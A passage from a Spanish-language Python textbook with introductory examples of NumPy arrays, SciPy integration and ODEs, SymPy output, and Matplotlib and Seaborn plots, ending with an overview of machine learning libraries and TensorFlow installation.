[0 1 2 3 4 5 6]
```

A continuación, creamos un arreglo que contienes los 200 primeros números:

```
arreglo2 = np.arange(200)
```

```
[  0   1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17
  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35
  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53
  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71
  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89
  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107
 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161
 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179
 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197
 198 199]
```

A continuación, creamos un arreglo que contienes los primeros cincuenta elementos desde el 0 al 1 (por número de puntos):

```
arreglo3 = np.linspace(0, 1, 50)
```

```
[0.         0.02040816 0.04081633 0.06122449 0.08163265 0.10204082
 0.12244898 0.14285714 0.16326531 0.18367347 0.20408163 0.2244898
 0.24489796 0.26530612 0.28571429 0.30612245 0.32653061 0.34693878
 0.36734694 0.3877551  0.40816327 0.42857143 0.44897959 0.46938776
 0.48979592 0.51020408 0.53061224 0.55102041 0.57142857 0.59183673
 0.6122449  0.63265306 0.65306122 0.67346939 0.69387755 0.71428571
 0.73469388 0.75510204 0.7755102  0.79591837 0.81632653 0.83673469
 0.85714286 0.87755102 0.89795918 0.91836735 0.93877551 0.95918367
 0.97959184 1.        ]
```

A continuación, creamos un arreglo que contienes los primeros 20 números:

```
arreglo6 =np.arange(20)
```

```
[ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19]
```

Ahora redimensionamos el arreglo anterior en 5 filas y 4 columnas con la función reshape, creando una nueva matriz:

```
arreglo7=arreglo6.reshape(5,4)
```

```
[[ 0  1  2  3]
 [ 4  5  6  7]
 [ 8  9 10 11]
 [12 13 14 15]
 [16 17 18 19]]
```

A continuación, creamos un arreglo rellenado de unos que contienes 5 elementos:

```
arreglo8=np.ones(5)
```

```
[1. 1. 1. 1. 1.]
```

A continuación, creamos un arreglo rellenado de 2 filas y 2 columnas:

```
arreglo9=np.ones((2,2)).astype(np.float16)
```

```
[[1. 1.]
 [1. 1.]]
```

A continuación, creamos un arreglo rellenado de ceros que contienes 5 elementos:

```
arreglo10=np.zeros(5)
```

```
[0. 0. 0. 0. 0.]
```

A continuación, creamos un arreglo rellenado de 2 filas y 2 columnas:

```
arreglo11=np.zeros((2,2)).astype(np.float16)
```

```
[[0. 0.]
 [0. 0.]]
```

5.1.2 Operaciones Básicas

A continuación, usamos dos puntos para especificar un rango la forma es m: n En nuestro caso particular.

[0:3]

Desde el elemento 0 al 3-1

```
arreglo12=np.array([0,1,2,3,4,5,6,7,8,9,10])
print(arreglo12[0:3])
```

```
[0 1 2]
```

NOTAS

Es equivalente utilizar la siguiente línea:

```
arreglo12[:3]
```

5.1.3 Arreglos N-Dimensionales

A continuación, daremos algunos ejemplos de arreglos:

Arreglo1.py

```
"""
Descripcion: Arreglo de 1 dimension
Autor: Jorge Nolasco Valenzuela
"""
import numpy as np
arreglo1d = np.array([1,2,3,4,5,6,7,8,9,10])
print(arreglo1d)
```

```
[ 1  2  3  4  5  6  7  8  9 10]
```

Arreglo2.py

```
"""
Descripcion: Arreglo de 2 dimension
Autor: Jorge Nolasco Valenzuela
"""
arreglo2d =np.array([[1,2,3,4,5],[6,7,8,9,10]])
print(arreglo2d)
```

```
[[ 1  2  3  4  5]
 [ 6  7  8  9 10]]
```

Arreglo3.py

```
"""
Descripcion: Arreglo de 3 dimensiones, vectorizando o operando directamemnte
Autor: Jorge Nolasco Valenzuela
"""
arreglo3d =np.ones((3,3,3)).astype(np.float16)
arreglo3d=arreglo3d+np.random.rand(1)
print(arreglo3d)
```

```
[[[1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]]

 [[1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]]

 [[1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]
  [1.95630957 1.95630957 1.95630957]]]
```

5.1.4 Gráficos - Arreglos

Arreglo4.py

```
"""
Importamos la libreria para graficar
"""
import matplotlib.pyplot as plt0
"""
especificamos la lista  a graficar
"""
Lista1=[1,2,3,4,5,6,7,8,9,10]
plt0.plot(Lista1)
plt0.show()
```

Arreglo5.py

```
"""
Importamos la libreria para graficar
"""
import matplotlib.pyplot as plt0
"""
especificamos la lista  a graficar
"""
Lista1=[1,2,3,4,5,6,7,8,9,10]
Lista2=[4,8,27,64,125,216,343,512,729,1000]
plt0.plot(Lista1,Lista2)
plt0.show()
```

Arreglo6.py

```
"""
Importamos la libreria para graficar
"""
import matplotlib.pyplot as plt0
"""
especificamos la lista  a graficar
"""
Lista1=[-5,-4,-3,-2,-1,0,1,2,3,4,5]
#y=x^2
Lista2=[]
```

```
for x in Lista1:
    Lista2.append(x**2)
plt0.plot(Lista1,Lista2)
plt0.show()
```

La biblioteca Scipy se basa en los arrays multidimensionales de Numpy e implementa cientos de algoritmos científicos de alto nivel, clasificados en subpaquetes temáticos. A continuación, vamos a calcular algunas integrales:

scipy1.ipynb

Integrales

La evaluación numérica de integrales de la forma $\int_a^b f(x)dx$

```
"""
SciPy tiene las funciones:quad,dblquad y tplquad
La función quad calcula una integral de una variable
entre dos puntos. Los puntos pueden ser ± ∞ ± ∞
Por ejemplo, supongamos que desea integrar la función
jv(2.5, x) a lo largo del intervalo [0,4.5]
"""
import scipy.integrate as integrate
import scipy.special as special
#aplicando funcion lambda
result = integrate.quad(lambda x: special.jv(2.5,x), 0, 4.5)
result
```

```
(1.1178179380783244, 7.866317216380707e-09)
```

Scipy2.ipynb

Ecuaciones diferenciales ordinarias

para resolver

$$\frac{dy}{dt} = -2y$$

con $t \in [-5, 5]$ y la condición inicial $y(0) = 1$

```
from matplotlib import pyplot as plt
import numpy as np

from scipy.integrate import odeint

t = np.linspace(-5, 5, 100)
y = odeint(lambda y,t: -2*y, 1, t)
plt.plot(t,y)
plt.show()
```

Notebook : Jupyter

Scipy3.ipynb

Transformada de Fourier

```
import numpy as np
from matplotlib import pyplot as plt
# Frecuencia, en ciclos por segundo, o Hertz
f = 10
 # Sampling rate, or number of measurements per second
f_s = 100
# Velocidad de muestreo, o número de mediciones por segundo
t = np.linspace(0, 2, 2 * f_s, endpoint=False)
x = np.sin(f * 2 * np.pi * t) + np.sin(np.pi * t)

fig, ax = plt.subplots()
ax.plot(t, x)
ax.set_xlabel("Hora [s]")
ax.set_ylabel("Amplitud de la señal");
```

Notebook : Jupyter

5.1.5 Salida enriquecida sympy

sympy1.ipynb

Salida Enriquecida

```
import sympy
from sympy.interactive import printing
printing.init_printing(use_latex='mathjax')
sympy.sqrt(8)
```

$2\sqrt{2}$

```
b = sympy.Rational(1, 3)
b
```

$\frac{1}{3}$

```
b*3
```

1

```
sympy.pi**4
```

π^4

```
sympy.pi.evalf(n=10)
```

3.141592654

Notebook : Jupyter

5.1.6 Más sobre contenido enriquecido

contenidoe1 ipynb

Salida Enriquecida

```
%%HTML

<iframe width="560" height="315"
src="https://www.youtube.com/embed/ox09Jko1ErM"
frameborder="0" allowfullscreen></iframe>
```

Notebook : Jupyter

5.2 NUMPY

Es una librería de Python, que le agrega mayor soporte para vectores y matrices, constituyendo una biblioteca de funciones matemáticas de alto nivel para operar con esos vectores o matrices.

Numpy es la biblioteca central para la computación científica en Python.

Proporciona una matriz multidimensional objeto de alto rendimiento y herramientas para trabajar con arreglos.

5.2.1 Numpy.arange

```
numpy.arange([start, ]stop, [step, ]dtype=None)
```

Devuelve valores uniformemente espaciados dentro de un intervalo dado.

◤ **Parámetros:**

- Inicio: (número, opcional) Inicio del intervalo. El intervalo incluye este valor. El valor inicial predeterminado es 0.
- Stop: (número) Fin del intervalo. El intervalo no incluye este valor, excepto en algunos casos en que step no es un entero y la coma flotante redondea afecta a la longitud de out.

- step : (número, opcional) Espaciado entre valores. Para cualquier salida hacia fuera, esto es la distancia entre dos valores adyacentes. El tamaño de paso predeterminado es 1. Si se especifica step, también se debe iniciar .out[i+1] - out[i]
- Dtype : (dtype) El tipo de matriz de salida. Si dtypeno se da, deduzca el tipo de datos de los otros argumentos de entrada.

◤ **Retorna: (**arange **: ndarray)**

Array de valores uniformemente espaciados.

A continuación, algunos ejemplos:

Numpy1.ipynb

```
import numpy as np
np.arange(4)
```

```
array([0, 1, 2, 3])
```

```
np.arange(4.0)
```

```
array([ 0.,  1.,  2.,  3.])
```

```
np.arange(1,8)
```

```
array([1, 2, 3, 4, 5, 6, 7])
```

```
np.arange(3,7,2)
```

```
array([3, 5])
```

```
np.arange(0.1, 0.4, 0.1)
```

```
array([ 0.1,  0.2,  0.3,  0.4])
```

```
np.arange(0, 100)
```

```
array([ 0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16,
       17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33,
       34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
       51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
       68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84,
       85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99])
```

```
np.arange(0, 200, 2)
```

```
array([  0,   2,   4,   6,   8,  10,  12,  14,  16,  18,  20,  22,  24,
        26,  28,  30,  32,  34,  36,  38,  40,  42,  44,  46,  48,  50,
        52,  54,  56,  58,  60,  62,  64,  66,  68,  70,  72,  74,  76,
        78,  80,  82,  84,  86,  88,  90,  92,  94,  96,  98, 100, 102,
       104, 106, 108, 110, 112, 114, 116, 118, 120, 122, 124, 126, 128,
       130, 132, 134, 136, 138, 140, 142, 144, 146, 148, 150, 152, 154,
       156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180,
       182, 184, 186, 188, 190, 192, 194, 196, 198])
```

Notebook : Jupyter

Numpy2.ipynb

```
"""
Importamos la libreria para graficar
"""
import numpy as np
import matplotlib.pyplot as plt0
arreglo1=np.arange(0,100,5)
print(arreglo1)
plt0.plot(arreglo1)
plt0.show()
```

```
[ 0  5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95]
```

Notebook : Jupyter

Numpy3.ipynb

```
"""
#arreglo con incrementos
Importamos la libreria para graficar
"""
import numpy as np
import matplotlib.pyplot as plt0
arreglo1=np.arange(0,100,5)
print(len(arreglo1))
print(arreglo1)
arreglo2=np.arange(0,20,1)
print(len(arreglo2))
print(arreglo2)
plt0.plot(arreglo1,arreglo2)
plt0.show()
```

```
20
[ 0  5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95]
20
[ 0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19]
```

Notebook : Jupyter

Numpy4.ipynb

```
"""
primero importaremos la librería
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt
import numpy as np
"""
#arange (x, y, z) es una parte de NumPy
genera una secuencia de elementos
con tipos de datos determinados por tipos
de parámetros de x a y con un espaciado z
"""
x = np.arange(1.0, 50.0, 1.00)
y = [x**3 for x in x]
#Esta línea de código es el comando del grafico
plt.plot(x,y)
# Mostrar el grafico
plt.show()
```

Notebook : Jupyter

5.2.2 numpy.linspace

```
numpy.linspace(start, stop, num=50, endpoint=True, retstep=False, dtype=None
[source]
```

Devuelve números uniformemente espaciados en un intervalo especificado.

Opcionalmente, se puede excluir el punto final del intervalo.

- **Inicio:** escalar el valor inicial de la secuencia.
- **Stop:** escalar el valor final de la secuencia, a menos que el punto final esté establecido en Falso. En ese caso, la secuencia consiste en todas las muestras, salvo la última de las muestras num + 1 uniformemente espaciadas, de modo que se excluye el stop. Tenga en cuenta que el tamaño del paso cambia cuando el punto final es False.
- **Num:** int, opcional
  Número de muestras a generar. El valor predeterminado es 50. Debe ser no negativo.
- **Endpoint**: bool, opcional.

Si es True, stop es la última muestra. De lo contrario, no está incluido. El valor predeterminado es True.

- **Retstep**: bool, opcional
  Si es True, return (samples , step), donde step es el espaciado entre muestras.

- **Dtype:** dtype, opcional
  El tipo de matriz de salida. Si dtype no se da, deduzca el tipo de datos de los otros argumentos de entrada.
  Nuevo en la versión 1.9.0.

- **Retorna:** (**samples** : ndarray)
  Array de valores uniformemente espaciados.

A continuación, algunos ejemplos:

Numpy5.ipynb

```
import numpy as np1
import matplotlib.pyplot as plt1
np1.linspace(1.0, 5.0, num=5)
```

```
array([ 1.,  2.,  3.,  4.,  5.])
```

```
np1.linspace(1.0, 5.0, num=10, endpoint=False)
```

```
array([ 1. ,  1.4,  1.8,  2.2,  2.6,  3. ,  3.4,  3.8,  4.2,  4.6])
```

```
np1.linspace(1.0, 10.0, num=20, retstep=True)
```

```
(array([  1.        ,   1.47368421,   1.94736842,   2.42105263,
          2.89473684,   3.36842105,   3.84210526,   4.31578947,
          4.78947368,   5.26315789,   5.73684211,   6.21052632,
          6.68421053,   7.15789474,   7.63157895,   8.10526316,
          8.57894737,   9.05263158,   9.52631579,  10.        ]),
 0.47368421052631576)
```

```
np1.linspace(1.0, 10.0, num=40, retstep=True)
```

```
(array([  1.        ,   1.23076923,   1.46153846,   1.69230769,
          1.92307692,   2.15384615,   2.38461538,   2.61538462,
          2.84615385,   3.07692308,   3.30769231,   3.53846154,
          3.76923077,   4.        ,   4.23076923,   4.46153846,
          4.69230769,   4.92307692,   5.15384615,   5.38461538,
          5.61538462,   5.84615385,   6.07692308,   6.30769231,
          6.53846154,   6.76923077,   7.        ,   7.23076923,
          7.46153846,   7.69230769,   7.92307692,   8.15384615,
          8.38461538,   8.61538462,   8.84615385,   9.07692308,
          9.30769231,   9.53846154,   9.76923077,  10.        ]),
 0.23076923076923078)
```

```
np1.linspace(-1, 1, 10)
```

```
array([-1.        , -0.77777778, -0.55555556, -0.33333333, -0.11111111,
        0.11111111,  0.33333333,  0.55555556,  0.77777778,  1.        ])
```

Notebook : Jupyter

Numpy6.ipynb

En el siguiente ejemplo, invocamos a las funciones seno y coseno. A partir de los ajustes por defecto, vamos a enriquecer el paso a paso la figura para que sea más agradable.

```
import numpy as np1
import matplotlib.pyplot as plt1
"""
X es ahora una matriz numpy con 256
valores que van desde -π a + π (incluido).
"""
X = np1.linspace(-np1.pi, np1.pi, 256, endpoint=True)
"""
C es el coseno (256 valores) y
S es el seno (256 valores).
"""
C,S = np1.cos(X), np1.sin(X)
"""
Graficar la función coseno con una línea
continua rojo de 1 pixel de grosor
"""
plt1.plot(X, C, color="red", linewidth=1.0, linestyle="-",label="coseno")
"""
Graficar la función seno con una línea
continua verde de 1 pixel de grosor
"""
plt1.plot(X, S, color="green", linewidth=1.0, linestyle="-",label="seno")
# colocar una leyenda
plt1.legend(loc='upper right')
# Mostrar el grafico
plt1.show()
```

Notebook : Jupyter

Añadiendo etiquetas

Ahora añadiremos etiquetas en el ejemplo:

Numpy7.ipynb

```
"""
primero importaremos la libreria
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt0
"""
Esta línea de código es el comando de grafico
especificamos una lista de elementos que
representa el eje X: 1, 4, 2, 5,7
En el eje Y desde 0 (el primer valor)
a N-1 (donde N es el número de elementos de la lista)
N-1=5-1=4.
"""
# añadiendo etiquetas
plt0.xlabel('Eje X')
plt0.ylabel('Eje Y')
plt0.plot([1,4,2,5,7])
# Mostrar el grafico
plt0.show()
```

Notebook : Jupyter

Añadiendo título y cuadrícula

Ahora añadiremos etiquetas en el ejemplo:

Numpy8.ipynb

```
"""
primero importaremos la librería
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt0
"""
Esta línea de código es el comando de grafico
especificamos una lista de elementos que
representa el eje X: 1, 4, 2, 5,7
En el eje Y desde 0 (el primer valor)
a N-1 (donde N es el número de elementos de la lista)
N-1=5-1=4.
"""
# añadiendo etiquetas
plt0.xlabel('Eje X')
plt0.ylabel('Eje Y')
plt0.plot([1,4,2,5,7])
# añadiendo cuadrícula o grid
plt0.grid(True)
# Mostrar el grafico
plt0.show()
```

Notebook : Jupyter

5.2.3 Histogramas

Las gráficas de histograma son una representación gráfica de frecuencias, representadas como barras.

matplotlib.pyplot.hist.- Grafica un histograma.

```
matplotlib.pyplot.hist(x, bins=None, range=None, normed=False, weights=None,
cumulative=False, bottom=None, histtype='bar', align='mid',
orientation='vertical',rwidth=None, log=False, color=None, label=None,
stacked=False, hold=None, data=None,**kwargs)
```

Parametros:

- **X**: (n,) matriz o secuencia de (n,) matrices.
- **Bins(opcional)**: entero o array que representa en número de agrupaciones que se dividirá la información.
- **Range(opcional)**: tupla, opcional. El rango inferior y superior de las agrupaciones. Los valores atípicos inferiores y superiores se ignoran. Si no se proporciona, el rango es (x.min (), x.max ()). Rango no tiene efecto si las agrupaciones son una secuencia.
- **Density(opcional)**: booleano; permite formar una densidad de probabilidad, es decir debajo del histograma. Esto se logra dividiendo el recuento por el número de veces de observaciones.
- **Weights(opcional)**: una matriz de pesos.
- **Cumulative(opcional)**: boolean, calcula un histograma donde cada bin ofrece los recuentos en ese bin.
- **Bottom**: array_like, scalar, or None;determina una línea en la base inferior.
- **Histtype**: {'bar', 'barstacked', 'step', 'stepfilled'}, opcional.
- El tipo de histograma a dibujar.'Bar' es un histograma tipo barra tradicional. Si se dan datos múltiples, las barras se alinean una al lado de la otra.
- **Barstacked**: es un histograma tipo barra donde múltiples datos se apilan uno encima del otro.
- **Paso**: genera un trazado de línea que no está lleno por defecto.
- **Stepfilled**: genera un trazado de línea que se rellena por defecto.

- El valor predeterminado es ‘bar’.
- **Align**:{‘left’,’mid’,’right’}, opcional. Controla cómo se traza el histograma.
- ‘**Izquierda**’: las barras están centradas en los bordes de la bandeja izquierda.
- ‘**Mid**’: las barras están centradas entre los bordes de la bandeja.
- ‘**Derecha**’: las barras están centradas en los bordes de la bandeja derecha.
- El valor predeterminado es ‘**mid**’.
- **Orientation**: {‘horizontal’, ‘vertical’}, opcional.
- Si ‘**horizontal**’, barh se utilizará para histogramas tipo barra y el kwarg inferior será los bordes izquierdos.
- **Rwidth**: escalar o Ninguno, opcional.
- La anchura relativa de las barras como una fracción del ancho del contenedor. Se ignora si histtype es ‘step’ o ‘stepfilled’.
- **Log**: booleano, opcional Si es True, el eje del histograma se establecerá en una escala de log. Si log es True y x es una matriz 1D, los contenedores vacíos se filtrarán y solo se devolverán los nodos no vacíos (n, bins, patches). El valor predeterminado es False.
- **Color**: color o array_like de colores, opcional Especificación el color o secuencia de colores.
- **Label**: string, opcional Cadena o secuencia de cadenas para coincidir con varios conjuntos de datos.
- **Stacked** : boolean, optional, Si Verdadero, varios datos se apilan uno encima del otro Si Falso múltiples datos se colocan uno al lado del otro si histtype es ‘barra’ o uno encima del otro si histtype es ‘paso’.El valor predeterminado es False.
- **N**: matriz o lista de matrices.
- Los valores de los bins del histograma.

- **Bins**: los bordes de los contenedores. Longitud nbins + 1 (nbins bordes izquierdos y borde derecho del último bin). Siempre una sola matriz incluso cuando se pasan varios conjuntos de datos.
- **Patches** : list or list of lists.
- **Lista silenciosa de parches individuales**: utilizados para crear el histograma o la lista de dicha lista si múltiples conjuntos de datos de entrada.
- ****kwargs**: Patch properties

5.2.3.1 EJEMPLOS

Matplotlib01 .ipynb

```
#importaremos la librería Matplotlib para realizar trazos
import matplotlib.pyplot as plt0
#importaremos la libreria numpy
import numpy as np0
# Activamos el modo interactivo
plt0.ion()
# generacion de  un vector de números aleatorios de una distribución normal
x = np0.random.randn(100)
# Dibuja un histograma dividiendo el vector x en 5 intervalos
plt0.hist(x, bins = 5)
```

```
(array([  9.,  24.,  29.,  30.,   8.]),
 array([-2.17422169, -1.31157715, -0.44893261,  0.41371194,  1.27635648,
        2.13900102]),
 <a list of 5 Patch objects>)
```

Notebook : Jupyter

Matplotlib2.ipynb

```
import matplotlib.pyplot as plt0
import numpy as np0
datos = [1,1,1,1,2,2,2,3,3,4,5,5,5,6,7,7,7,7,7,7,7,8,8,8]
plt0.hist(datos,normed=True,bins=8,alpha=0.5)
plt0.show()
```

Notebook : Jupyter

NOTAS

Un histograma suele ser un gráfico de barras donde se representa la frecuencia de datos en intervalos definidos.

5.2.4 Diagrama de dispersión

Un gráfico de dispersión es un gráfico que muestra la relación entre dos conjuntos de datos, como la relación entre edad y peso, por ejemplo. Voy a mostraros cómo podemos dibujar un gráfico de dispersión utilizando matplotlib.

Cogeremos dos conjuntos de datos, x e y, de los cuales queremos encontrar sus relaciones (gráficos de dispersión).

A continuación, mostramos un diagrama de dispersión en el cual mostramos una relación: cuanta más talla tenga una persona su peso aumenta:

Matplotlib3.ipynb

```
import matplotlib.pyplot as plt
x = [1.50,1.52,1.54,1.56,1.58,1.60,1.62,1.64,1.66,1.68,1.70]
y = [48,49.2,50.1,51.4,52,53.7,54.2,55.6,56.7,57.2,58.1]
plt.scatter(x,y)
plt.show()
```

Notebook : Jupyter

Ahora desarrollares un ejemplo donde se demuestra mediante un diagrama de dispersión la relación entre el precio del dólar y el oro, cuanto más disminuya el precio del dólar aumenta el preció del oro:

Matplotlib4.ipynb

```
import numpy as np
import matplotlib.pyplot as plt
# precio del dolar
x = [3.411,3.3911,3.3821,3.371,3.363]
# precio del oro
y = [1010,1100,1200,1250,1300]
# Creamos una serie de 5 valores pseudo-aleatorios entre 0 y 1
colors = np.random.rand(5)
# crea un diagrama de dispersion para analizar la relacion de X e Y
plt.scatter(x, y, s=area, c=colors, alpha=0.5)
# mostrar el grafico
plt.show()
```

Notebook : Jupyter

5.3 MATPLOTLIB

Es una librería de Python en 2D que produce figuras de calidad de publicación en una variedad de formatos impresos y entornos interactivos a través de

distintas plataformas. Matplotlib se puede utilizar en los scripts de Python e IPython. matplotlib es una de las librerías más utilizadas en el análisis de datos puede producir Gráficos, histogramas, visualizaciones de líneas, barras, diagramas de dispersión. Gran parte de su éxito es la facilidad que da a los desarrolladores a la hora de diseñar visualizaciones con datos a partir de muy pocas líneas de código y que luego esos gráficos se puedan incluir en cualquier proyecto web. Con matplotlib también se pueden hacer visualizaciones con mapas y en tres dimensiones.

5.3.1 Instalación de matplotlib

Para realizar la instalación del Matplotlib deberá ejecutar el siguiente comando en las diferentes plataformas:

Linux:

If you are on Linux, you might prefer to use your package manager. matplotlib is packaged for almost every major Linux distribution.

- Debian/Ubuntu : `sudo apt-get install python-matplotlib`
- Fedora/Redhat : `sudo yum install python-matplotlib`

Mac OSX:

```
python3 get-pip.py
```

Windows:

```
python -m pip install -U pip setuptools
python -m pip install matplotlib
```

5.3.2 pyplot

Proporciona un marco de gráficos similar a MATLAB.

Matplotlib5.ipynb

```
"""
primero importaremos la libreria
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt0
"""
especificamos una lista de elementos
lista1=[1,2,3,4,5,6,7,8,9,10]
"""
lista1=[1,2,3,4,5,6,7,8,9,10]
plt0.plot(lista1)
#mostramos el grafico
plt0.show()
```

Notebook : Jupyter

Matplotlib6.ipynb

```
"""
primero importaremos la libreria
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt0
"""
especificamos lso ejes x,y
x=[1,2,3,4,5,6,7,8,9,10]
y=[2,8,27,64,125,216,343,512,729,1000]
"""
x=[1,2,3,4,5,6,7,8,9,10]
y=[2,8,27,64,125,216,343,512,729,1000]
plt0.plot(x,y)
#mostramos el grafico
plt0.show()
```

Notebook : Jupyter

Matplotlib7.ipynb

```
"""
primero importaremos la libreria
Matplotlib para realizar gráficos
"""
import matplotlib.pyplot as plt0
"""
Esta línea de código es el comando de grafico
especificamos una lista de elementos que
representa el eje X: 1, 4, 2, 5,7
En el eje Y desde 0 (el primer valor)
a N-1 (donde N es el número de elementos de la lista)
N-1=5-1=4.
"""
plt0.plot([1,4,2,5,7])
# Mostrar en pantalla
plt0.show()
```

Notebook : Jupyter

5.3.3 Seaborn y pandas

Seaborn es una librería de visualización de datos en Python basada en matplotlib. La idea de Seaborn es que los científicos de datos dispongan de una interfaz

para hacer gráficos estadísticos atractivos e explicativos: el objetivo es visualizar datos complejos de forma sencilla y extraer conclusiones. Sus características:

- Tiene varios temas integrados para mejorar el diseño de matplotlib.
- Dispone de herramientas para la elección de paletas de colores.
- Funciones para comparar subconjuntos de datos.
- Herramientas para adaptar y visualizar modelos de regresión lineal.
- Funciones para visualizar matrices de datos.
- Uso de algoritmos de clustering.
- Posibilidad de establecer series temporales estadísticas con los datos.

Como ejemplo de la enorme eficiencia en el uso del código para hacer visualizaciones con matplotlib, un gráfico de dispersión como ejemplo:

Seaborn1 .ipynb

Notebook : Jupyter

Seaborn1 .ipynb

```
"""
Seaborn permite configurar paletas
estilos de una manera muy fácil
globalmente o para un gráfico en particular
"""
with sns.color_palette("Reds", desat=.7):
    sinplot()
```

Notebook : Jupyter

Seaborn2 .ipynb

```
dataset tips:
https://github.com/mwaskom/seaborn-data/blob/master/tips.csv
```

```
"""
Al ser un paquete especialmente diseñado
para estadística, además de buenos gráficos
tiene gráficos especiales
"""
tips = sns.load_dataset("tips")
g = sns.jointplot("total_bill", "tip", data=tips
                  , kind="reg", xlim=(0, 50),
                  ylim=(0, 10), size=9)
```

Notebook : Jupyter

Seaborn3.ipynb

```
"""
El uso de Seaborn y pandas para
visualizar una trama de datos
"""
import pandas as pd0
import random
import matplotlib.pyplot as plt0
import seaborn as sns0
dataframe = pd0.DataFrame()
#generando dataframe
dataframe['x'] = random.sample(range(1, 100), 20)
dataframe['y'] = random.sample(range(1, 100), 20)
#mostrando dataframe
print(dataframe)
```

```
     x  y
0   33 99
1   58 45
2   63 22
3   35 97
4   90 67
5   16  5
6   25  9
7   42 56
8   49 77
9   15 54
10  59 34
11  78 70
12  32 88
13  41 59
14  75 94
15  34 14
16  51  6
17  71 13
18  76 23
19  30 12
```

Notebook : Jupyter

Ahora con el dataframe vamos a crear un gráfico de dispersión:

Seaborn4.ipynb

```
"""
El uso de Seaborn y pandas para
visualizar una trama de datos
y crear un diagrama de dispersion
"""
import pandas as pd0
import random
import matplotlib.pyplot as plt0
import seaborn as sns0

dataframe = pd0.DataFrame()
#generando dataframe
dataframe['x'] = random.sample(range(1, 100), 20)
dataframe['y'] = random.sample(range(1, 100), 20)
plt0.scatter(dataframe['x'],dataframe['y'])
plt0.show()
```

Notebook : Jupyter

6

INTELIGENCIA ARTIFICIAL. DATA SCIENCE

6.1 MACHINE LEARNING

Las tecnologías de Machine Learning están dando el salto de los círculos de especialistas al mundo de la empresa. Hoy en día cualquiera puede usarlas para

poner sus datos a trabajar y conseguir ventajas competitivas que hasta hace poco solo estaba al alcance de las grandes empresas e instituciones.

Machine learning es un concepto nuevo que consiste en encontrar relaciones subyacentes entre nuestros datos aplicando algoritmos que se está desarrollando hace pocos años y que solo las grandes empresas como GOOGLE y FACEBOOK lo están implementando, la documentación que se encuentra sobre este tema es poca y la mayoría se encuentra en inglés.

6.1.1 Librerías Utilizadas

https://medium.com/implodinggradients/tensorflow-or-keras-which-one-should-i-learn-5dd7fa3f9ca0

Las 5 librerías más utilizadas:

TENSORFLOW	Libreria Open Source de machine learning usando grafos, los nodos representan operaciones matemáticas mientras las aristas representan tensores(array de datos). Posee una herramienta de visualización llamada “TensorBoard” que permite visualizar el grafo creado durante la ejecución del código Tensorflow, fue creada para reemplazar a Theano Ventajas: • Python + Numpy. • Más rápida que tehano. • Abstracción de la computación del grafo. • TensorBoard visualización • Paralelismo en modelos y datos. • Múltiples GPU. • Está absorbiendo a Keras. Desventajas: • Es más lenta que otros Framework. • No tienen Licencia de Comercialización. • La computación del grafo es puro Python, lo que lo hace más lento. • Cada batch se debe entrenar en Python.
Caffe	Tiene en cuenta la expresionalidad, velocidad y modularidad. No trata aplicaciones como texto, sonido o series de datos. Trabaja con redes convencionales, se puede trabajar con Python. Ventajas: • Muy buen procesamiento de imágenes. • Entrena modelos sin escribir código. • La interfaz de Python es amigable. Desventajas: • Necesita escribir C++/CUDA para usar más de una GPU. • No es bueno en redes recurrentes. • No es comercial. • Su desarrollo es lento.
K Keras	Librería Open Source de redes neuronales escrita en Python, capaz de ejecutarse junto con MXNet, tensorflow o theano, entre otros. Ventajas: • Es simple modular y extensible. • Inspirada en torch, framework en back end. • Es de crecimiento rápido Desventajas: • Siempre depende de otro Framework. • Se recomienda tratar los datos con otro Framework.
theano	Librería de Python permite definir optimizar y evaluar expresiones matemáticas utilizando arreglos multidimensionales eficientemente. Ventajas: • Python + numpy. • Permite redes recurrentes eficientes. • Permite a otros. • Test unitario y auto verificación de errores. Desventajas: • Es parecido a un lenguaje de bajo nivel. • Grandes modelos con tiempos largos de ejecución. • No más de una GPU.

mxnet	Es un Framework de Machine learning que tiene API en R, Python, Julia y Scala. Se utiliza en los servicios de Amazon Web: Ventajas: • Su gran variedad de API. • Escala lineal y fácil. • El Modelo programado está muy cerca a keras. Desventajas: • La implementación de una red neuronal recursiva no es muy eficiente. • No tienen compilación dinámica lo que incrementa el tiempo de compilación.

¿Por qué Tensorflow?

- Es el más demandado.
- Es el más popular.
- Permite cualquier tipo de operación matemática.
- Los data Scientist deben utilizar diferentes framework.

Instalación de Tensorflow en Anaconda

```
conda install -c conda-forge tensorflow
```

6.1.2 Algoritmos de Manchine Learning

Iris setosa

Iris versicolor

Iris virginica

